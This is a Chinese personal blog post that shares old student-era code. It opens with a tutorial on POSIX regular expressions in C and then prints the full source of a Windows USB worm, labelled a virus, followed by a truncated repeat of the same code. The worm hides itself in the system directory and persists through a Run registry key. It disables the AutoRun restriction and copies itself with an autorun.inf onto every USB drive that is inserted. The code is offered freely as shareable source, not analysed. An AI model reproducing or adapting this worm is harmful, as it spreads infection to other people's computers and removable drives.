逝去的时光与记忆 关于收集一些代码回忆

2011年05月28日
转到评论 发表评论

     记忆已经渐渐模糊，打开移动硬盘里面很多文件看到以前学校收集的那些源码想到了很多干脆很多心情也十分复杂。。。出来已经快三年了一切好快浑浑噩噩不知道怎么过来的。那些东西还在自己很少去看工作了时间没有了只能跟睡眠扣点时间了郁闷...那些源码很早就下载下来但是一直没有静下心研究。不能浪费就拿出来晒晒跟网友分享下：

 关于c的正则表达式

     看到大家讨论这方面的东西，作点贡献聊表各位高手对这个版快的无私奉献 :oops:   字符串时的复杂度，因此现在已经在许多Linux实用工具中得到了应用。千万不要以为正则表达式只是Perl、Python、Bash等脚本语言的专利，作为C语言程序员，用户同样可以在自己的程序中运用正则表达式。 

     标准的C和C++都不支持正则表达式，但有一些函数库可以辅助C/C++程序员完成这一功能，其中最著名的当数Philip Hazel的Perl-Compatible Regular Expression库，许多Linux发行版本都带有这个函数库。 

编译正则表达式 

       为了提高效率，在将一个字符串与正则表达式进行比较之前，首先要用regcomp()函数对它进行编译，将其转化为regex_t结构：

  1. int regcomp(regex_t *preg, const char *regex, int cflags);  

        参数regex是一个字符串，它代表将要被编译的正则表达式；参数preg指向一个声明为regex_t的数据结构，用来保存编译结果；参数cflags决定了正则表达式该如何被处理的细节。 

      如果函数regcomp()执行成功，并且编译结果被正确填充到preg中后，函数将返回0，任何其它的返回结果都代表有某种错误产生。 

匹配正则表达式 

一旦用regcomp()函数成功地编译了正则表达式，接下来就可以调用regexec()函数完成模式匹配：
 

 

  1. int regexec(const  regex_t  *preg,  const  char *string, size_t nmatch,regmatch_t pmatch[], int eflags);   
  2. typedef struct {   
  3.   regoff_t rm_so;   
  4.   regoff_t rm_eo;   
  5. } regmatch_t;  

 

        参数preg指向编译后的正则表达式，参数string是将要进行匹配的字符串，而参数nmatch和pmatch则用于把匹配结果返回给调用程序，最后一个参数eflags决定了匹配的细节。 

在调用函数regexec()进行模式匹配的过程中，可能在字符串string中会有多处与给定的正则表达式相匹配，参数pmatch就是用来保存这些匹配位置的，而参数nmatch则告诉函数regexec()最多可以把多少个匹配结果填充到pmatch数组中。当regexec()函数成功返回时，从string+pmatch[0].rm_so到string+pmatch[0].rm_eo是第一个匹配的字符串，而从string+pmatch[1].rm_so到string+pmatch[1].rm_eo，则是第二个匹配的字符串，依此类推。 

释放正则表达式 

无论什么时候，当不再需要已经编译过的正则表达式时，都应该调用函数regfree()将其释放，以免产生内存泄漏。

  1. void regfree(regex_t *preg);  

  函数regfree()不会返回任何结果，它仅接收一个指向regex_t数据类型的指针，这是之前调用regcomp()函数所得到的编译结果。 

如果在程序中针对同一个regex_t结构调用了多次regcomp()函数，POSIX标准并没有规定是否每次都必须调用regfree()函数进行释放，但建议每次调用regcomp()函数对正则表达式进行编译后都调用一次regfree()函数，以尽早释放占用的存储空间。 

报告错误信息 

如果调用函数regcomp()或regexec()得到的是一个非0的返回值，则表明在对正则表达式的处理过程中出现了某种错误，此时可以通过调用函数regerror()得到详细的错误信息。 

size_t regerror(int errcode, const regex_t *preg, char *errbuf, size_t errbuf_size);
 


参数errcode是来自函数regcomp()或regexec()的错误代码，而参数preg则是由函数regcomp()得到的编译结果，其目的是把格式化消息所必须的上下文提供给regerror()函数。在执行函数regerror()时，将按照参数errbuf_size指明的最大字节数，在errbuf缓冲区中填入格式化后的错误信息，同时返回错误信息的长度。 

应用正则表达式 

最后给出一个具体的实例，介绍如何在C语言程序中处理正则表达式。 

 

  1. #include <stdio.h>;   
  2. #include <sys/types.h>;   
  3. #include <regex.h>;   
  4.  
  5. /* 取子串的函数 */   
  6. static char* substr(const char*str, unsigned start, unsigned end)   
  7. {   
  8.   unsigned n = end - start;   
  9.   static char stbuf[256];   
  10.   strncpy(stbuf, str + start, n);   
  11.   stbuf[n] = 0;   
  12.   return stbuf;   
  13. }   
  14. /* 主程序 */   
  15. int main(int argc, char** argv)   
  16. {   
  17.   char * pattern;   
  18.   int x, z, lno = 0, cflags = 0;   
  19.   char ebuf[128], lbuf[256];   
  20.   regex_t reg;   
  21.   regmatch_t pm[10];   
  22.   const size_t nmatch = 10;   
  23.   /* 编译正则表达式*/   
  24.   pattern = argv[1];   
  25.   z = regcomp(&reg, pattern, cflags);   
  26.   if (z != 0){   
  27.     regerror(z, &reg, ebuf, sizeof(ebuf));   
  28.     fprintf(stderr, "%s: pattern '%s' \n", ebuf, pattern);   
  29.     return 1;   
  30.   }   
  31.   /*  逐行处理输入的数据 */   
  32.   while(fgets(lbuf, sizeof(lbuf), stdin)) {   
  33.     ++lno;   
  34.     if ((z = strlen(lbuf)) >; 0 && lbuf[z-1] == '\n')   
  35.       lbuf[z - 1] = 0;   
  36.     /* 对每一行应用正则表达式进行匹配 */   
  37.     z = regexec(&reg, lbuf, nmatch, pm, 0);   
  38.     if (z == REG_NOMATCH) continue;   
  39.     else if (z != 0) {   
  40.       regerror(z, &reg, ebuf, sizeof(ebuf));   
  41.       fprintf(stderr, "%s: regcom('%s')\n", ebuf, lbuf);   
  42.       return 2;   
  43.     }   
  44.     /* 输出处理结果 */   
  45.     for (x = 0; x < nmatch && pm[x].rm_so != -1; ++ x) {   
  46.       if (!x) printf("%04d: %s\n", lno, lbuf);   
  47.       printf("  $%d='%s'\n", x, substr(lbuf, pm[x].rm_so, pm[x].rm_eo));   
  48.     }   
  49.   }   
  50.   /* 释放正则表达式  */   
  51.   regfree(&reg);   
  52.   return 0;   
  53. }  

 

上述程序负责从命令行获取正则表达式，然后将其运用于从标准输入得到的每行数据，并打印出匹配结果。执行下面的命令可以编译并执行该程序： 

 

  1. #  gcc regexp.c -o regexp   
  2. #  ./regexp  'regex[a-z]*' < regexp.c   
  3. 0003: #include <regex.h>;   
  4.   $0='regex'   
  5. 0027:   regex_t reg;   
  6.   $0='regex'   
  7. 0054:     z = regexec(&reg, lbuf, nmatch, pm, 0);   
  8.   $0='regexec'  

 

小结 

对那些需要进行复杂数据处理的程序来说，正则表达式无疑是一个非常有用的工具。本文重点在于阐述如何在C语言中利用正则表达式来简化字符串处理，以便在数据处理方面能够获得与Perl语言类似的灵活性。

一个c病毒源代码

 

  1. #include <windows.h>  
  2. #include <Shlwapi.h>  
  3. #include <fstream.h>  
  4. #include <TlHelp32.h>  
  5. #include <Dbt.h>  
  6.  
  7. #pragma comment(lib,"shlwapi.lib")  
  8.  
  9. #define TIMER 1//计时器  
  10.  
  11. //function  
  12. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程  
  13. //获取盘符  
  14. TCHAR FirstDriveFromMask (ULONG unitmask);  
  15.  
  16. //病毒从U盘启动时用到的函数  
  17. BOOL FileExist(TCHAR *path);//测试一个文件是否存在  
  18. BOOL GetSelfPath(TCHAR *path);//Get the virus's path  
  19. //BOOL FindU(TCHAR *u);//check whether u exist, u[2]  
  20. BOOL GetSysPath(TCHAR *path);//得到系统路径  
  21. BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置  
  22. BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性  
  23. BOOL RegAutoRun(TCHAR *path);//修改注册表，实现自启动  
  24.  
  25. //从C盘启动时用到函数  
  26. BOOL CopyToUAndSet();//复制自己到U盘  
  27. BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件  
  28. BOOL FindSelf();//测试自己是否在已经执行了  
  29.  
  30. //global variable  
  31. TCHAR szExePath[MAX_PATH];//the virus's path  
  32. TCHAR U[2];//保存U盘的盘符  
  33. TCHAR szSysPath[MAX_PATH];//system path  
  34.  
  35. //constant  
  36. const TCHAR *szExeName="bbbbb.exe";  
  37. const TCHAR *szSysName="aaaaa.exe";  
  38. const TCHAR *szAutoRunFile="AutoRun.inf";  
  39.  
  40. int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,  
  41. PSTR szCmdLine, int iCmdShow)  
  42. {  
  43. static TCHAR szAppName[]=TEXT ("UUUUUU");  
  44. HWND hwnd;  
  45. MSG msg;  
  46. WNDCLASS wndclass;  
  47.  
  48. wndclass.style =0;  
  49. wndclass.lpfnWndProc =WndProc;  
  50. wndclass.cbClsExtra =0;  
  51. wndclass.cbWndExtra =0;  
  52. wndclass.hInstance =hInstance;  
  53. wndclass.hIcon =0;  
  54. wndclass.hCursor =0;  
  55. wndclass.hbrBackground =0;  
  56. wndclass.lpszMenuName =NULL;  
  57. wndclass.lpszClassName =szAppName;  
  58. if (!RegisterClass (&wndclass))  
  59. {  
  60. MessageBox (NULL,TEXT("Program requires Windows NT!"),  
  61. szAppName, MB_ICONERROR);  
  62. return 0;  
  63. }  
  64. hwnd = CreateWindow (szAppName, NULL,  
  65. WS_DISABLED,  
  66. 0, 0,  
  67. 0, 0,  
  68. NULL, NULL, hInstance, NULL);  
  69. while (GetMessage(&msg, NULL, 0, 0))  
  70. {  
  71. TranslateMessage (&msg);  
  72. DispatchMessage (&msg);  
  73. }  
  74. return msg.wParam;  
  75. }  
  76.  
  77. LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)  
  78. {  
  79. PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;  
  80. switch(wParam)  
  81. {  
  82. case DBT_DEVICEARRIVAL: //插入  
  83. if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)  
  84. {  
  85. PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;  
  86. U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符  
  87. //MessageBox(0,U,"Notice!",MB_OK);  
  88. CopyToUAndSet();//拷到u盘  
  89. }  
  90. break;  
  91. case DBT_DEVICEREMOVECOMPLETE: //设备删除  
  92. break;  
  93. }  
  94. return LRESULT();  
  95. }  
  96.  
  97. LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)  
  98. {  
  99. switch(message)  
  100. {  
  101. case WM_Create: //处理一些要下面要用到的全局变量  
  102. U[1]=':';  
  103. GetSysPath(szSysPath);//得到系统路径  
  104. SetTimer(hwnd,TIMER,5000,0);//启动计时器  
  105. GetSelfPath(szExePath);//得到自身的路径  
  106. return 0;  
  107. case WM_TIMER: //timer message  
  108. if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的  
  109. SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息  
  110. else 
  111. {  
  112. CopyToSysAndSet(hwnd);//拷到系统盘并自启动  
  113. }  
  114. return 0;  
  115. case WM_DEVICECHANGE:  
  116. OnDeviceChange(hwnd,wParam,lParam);  
  117. return 0;  
  118. case WM_DESTROY:  
  119. KillTimer(hwnd,TIMER);  
  120. PostQuitMessage(0);  
  121. return 0;  
  122. }  
  123. return DefWindowProc(hwnd, message, wParam, lParam);  
  124. }  
  125.  
  126. TCHAR FirstDriveFromMask(ULONG unitmask)  
  127. {  
  128. char i;  
  129. for (i = 0; i < 26; ++i)  
  130. {  
  131. if (unitmask & 0x1)//看该驱动器的状态是否发生了变化  
  132. break;  
  133. unitmask = unitmask >> 1;  
  134. }  
  135. return (i + 'A');  
  136. }  
  137.  
  138. BOOL GetSelfPath(TCHAR *path)  
  139. {  
  140. if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录  
  141. {  
  142. return TRUE;  
  143. }  
  144. else 
  145. return FALSE;  
  146. }  
  147.  
  148. BOOL GetSysPath(TCHAR *path)  
  149. {  
  150. return GetSystemDirectory(path,MAX_PATH);//得到系统路径  
  151. }  
  152.  
  153. BOOL CopyToSysAndSet(HWND hwnd)  
  154. {  
  155. TCHAR szPath[MAX_PATH];  
  156. lstrcpy(szPath,szSysPath);  
  157. lstrcat(szPath,"\\");  
  158. lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录  
  159. if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件  
  160. {  
  161. CopyFile(szExePath,szPath,FALSE);  
  162. RegAutoRun(szPath);  
  163. return SetFileAttrib(szPath);  
  164. }  
  165. else 
  166. {  
  167. if(!FindSelf())//检测自己有没有运行  
  168. {  
  169. //MessageBox(0,szExePath,szPath,MB_OK);  
  170. WinExec(szPath,SW_HIDE);//没有就执行  
  171. SendMessage(hwnd,WM_CLOSE,0,0);//结束自己  
  172. }  
  173. }  
  174. return FALSE;  
  175. }  
  176.  
  177. BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在  
  178. {  
  179. int result;  
  180. result=PathFileExists(path);  
  181. if(result==1)  
  182. return TRUE;  
  183. else 
  184. return FALSE;  
  185. }  
  186.  
  187. BOOL SetFileAttrib(TCHAR *path)  
  188. {  
  189. return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);  
  190. }  
  191.  
  192. BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动  
  193. {  
  194. HKEY hkey;  
  195. DWORD v=0;  
  196. RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);  
  197. RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));  
  198. if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",  
  199. &hkey)==ERROR_SUCCESS)  
  200. {  
  201. RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));  
  202. RegCloseKey(hkey);  
  203. return TRUE;  
  204. }  
  205. else 
  206. return FALSE;  
  207. }  
  208. BOOL CopyToUAndSet()  
  209. {  
  210. TCHAR szPath[MAX_PATH];  
  211. lstrcpy(szPath,U);  
  212. lstrcat(szPath,"\\");  
  213. lstrcat(szPath,szExeName);//得到指向U盘的完整目录  
  214.  
  215. TCHAR szAutoFile[MAX_PATH];  
  216. lstrcpy(szAutoFile,U);  
  217. lstrcat(szAutoFile,"\\");  
  218. lstrcat(szAutoFile,szAutoRunFile);  
  219.  
  220. if(!FileExist(szAutoFile))  
  221. {  
  222. CreateAutoRunFile(szAutoFile);  
  223. SetFileAttrib(szAutoFile);  
  224. }  
  225. if(!FileExist(szPath))  
  226. {  
  227. CopyFile(szExePath,szPath,FALSE);  
  228. return SetFileAttrib(szPath);  
  229. }  
  230. return FALSE;  
  231. }  
  232.  
  233. BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件  
  234. {  
  235. ofstream fout;  
  236. fout.open(path);  
  237. if(fout)  
  238. {  
  239. fout<<"[AutoRun]"<<endl;  
  240. fout<<"open="<<szExeName<<" e"<<endl;  
  241. fout<<"shellexecute="<<szExeName<<" e"<<endl;  
  242. fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;  
  243. fout<<"shell=Auto"<<endl;  
  244. fout.close();  
  245. return TRUE;  
  246. }  
  247. return FALSE;  
  248. }  
  249.  
  250. BOOL FindSelf(){  
  251. PROCESSENTRY32 pe;  
  252. HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  
  253. pe.dwSize=sizeof(PROCESSENTRY32);  
  254. if(Process32First(hShot,&pe)){  
  255. do{  
  256. if(lstrcmp(pe.szExeFile,szSysName)==0)  
  257. {  
  258. CloseHandle(hShot);  
  259. return TRUE;  
  260. }  
  261. }while(Process32Next(hShot,&pe));  
  262. }  
  263. CloseHandle(hShot);  
  264. return FALSE;  
  265. }   
  266.  
  267.  
  268.  
  269.  
  270. 隐藏窗口：ShowWindow(false); （#include <windows.h>)   
  271. 将程序暂停一秒后继续执行：sleep(1000); （同上）   
  272. 删除文件：system("del 文件的路径");   
  273. 运行文件：system("文件的路径");   
  274. system函数（#include <iostream>)   
  275. 复制文件：详见remove函数（#include <process.h>）  
  276.  
  277. -----------------------------------------------------------  
  278. 一个不错的病毒完整源代码  
  279. #include <windows.h>   
  280. #include <Shlwapi.h>   
  281. #include <fstream.h>   
  282. #include <TlHelp32.h>   
  283. #include <Dbt.h>   
  284.  
  285. #pragma comment(lib,"shlwapi.lib")   
  286.  
  287. #define TIMER 1//计时器   
  288.  
  289. //function   
  290. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程   
  291. //获取盘符   
  292. TCHAR FirstDriveFromMask (ULONG unitmask);   

 

编程与开发 关于收集一些代码回忆

  1. 暂时没有评论.
 
点击换一张验证码
我要啦免费统计